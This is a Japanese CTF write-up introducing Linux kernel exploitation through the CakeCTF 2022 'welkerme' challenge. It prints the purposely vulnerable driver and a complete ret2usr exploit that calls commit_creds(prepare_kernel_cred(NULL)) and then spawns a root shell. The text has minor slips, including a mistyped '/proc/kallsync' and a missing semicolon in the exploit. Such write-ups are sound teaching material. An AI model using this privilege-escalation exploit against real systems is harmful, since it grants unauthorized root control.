kernel exploit 入門
CakeCTF2022にて、カーネルエクスプロイトの入門的な良問が出題された。
(丁寧なヒントとexploitのテンプレが予め用意されてる)
カーネルエクスプロイトに関する日本語の貴重な資料:
問題
このOSは脆弱なカーネルモジュールを実行している:
[ welkerme - CakeCTF 2022 ] / $ lsmod Module Size Used by Tainted: G driver 16384 0
ドライバのソースコード:
#include <linux/cdev.h> #include <linux/fs.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/random.h> #include <linux/slab.h> #include <linux/uaccess.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("ptr-yudai"); MODULE_DESCRIPTION("welkerme - CakeCTF 2022"); #define DEVICE_NAME "welkerme" #define CMD_ECHO 0xc0de0001 #define CMD_EXEC 0xc0de0002 static int module_open(struct inode *inode, struct file *filp) { printk("'module_open' called\n"); return 0; } static int module_close(struct inode *inode, struct file *filp) { printk("'module_close' called\n"); return 0; } static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { long (*code)(void); printk("'module_ioctl' called with cmd=0x%08x\n", cmd); switch (cmd) { case CMD_ECHO: printk("CMD_ECHO: arg=0x%016lx\n", arg); return arg; case CMD_EXEC: printk("CMD_EXEC: arg=0x%016lx\n", arg); code = (long (*)(void))(arg); return code(); default: return -EINVAL; } } static struct file_operations module_fops = { .owner = THIS_MODULE, .open = module_open, .release = module_close, .unlocked_ioctl = module_ioctl }; static dev_t dev_id; static struct cdev c_dev; static int __init module_initialize(void) { if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) return -EBUSY; cdev_init(&c_dev, &module_fops); c_dev.owner = THIS_MODULE; if (cdev_add(&c_dev, dev_id, 1)) { unregister_chrdev_region(dev_id, 1); return -EBUSY; } return 0; } static void __exit module_cleanup(void) { cdev_del(&c_dev); unregister_chrdev_region(dev_id, 1); } module_init(module_initialize); module_exit(module_cleanup);
詳しくはptr-yudaiさんの資料(ret2user)に詳しく書いてあるが、権限昇格のためにカーネル空間で次を実行すればよい:
commit_creds(prepare_kernel_cred(NULL));
prepare_kernel_cred(NULL)
は最も高い権限で新しい認証情報を作成する。commit_creds(cred)
は認証情報を呼び出し元プロセスに設定する。
それらのアドレスは/proc/kallsync
に記述されている:
/ # grep prepare_kernel_cred /proc/kallsyms ffffffff810726e0 T prepare_kernel_cred / # grep commit_creds /proc/kallsyms ffffffff81072540 T commit_creds
「exploit.c
の関数func
は、CMD_EXEC
によってカーネル空間で実行されています」とヒントにあるように、ドライバが渡した関数をroot権限で実行する脆弱性がある。
だから、commit_creds(prepare_kernel_cred(NULL));
を実行後シェルを起動してやればそれはroot権限のシェルということ。
以下exploit:
#include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #define CMD_ECHO 0xc0de0001 #define CMD_EXEC 0xc0de0002 int func(void) { // 以下の3行を追加 void *(*prepare_kernel_cred)(void *) = 0xffffffff810726e0; void (*commit_creds)(void *) = 0xffffffff81072540; commit_creds(prepare_kernel_cred(NULL)); return 31337; } int main(void) { int fd, ret; if ((fd = open("/dev/welkerme", O_RDWR)) < 0) { perror("/dev/welkerme"); exit(1); } ret = ioctl(fd, CMD_ECHO, 12345); printf("CMD_ECHO(12345) --> %d\n", ret); ret = ioctl(fd, CMD_EXEC, (long)func); printf("CMD_EXEC(func) --> %d\n", ret); close(fd); system("sh") // この一行を追加してシェルを起動する return 0; }
これをsprunge とか使ってターゲット上に送り実行する。
外国語の資料
- Learning Linux Kernel Exploitation by Midas (英語)
- Learning Linux kernel exploitation - Part 1 - Laying the groundwork(英語)
- Linux Kernel Exploit 内核漏洞学习(2)-ROP by 钞sir (中国語)
- Exploit Tech: ret2usr by Dreamhack (韓国語)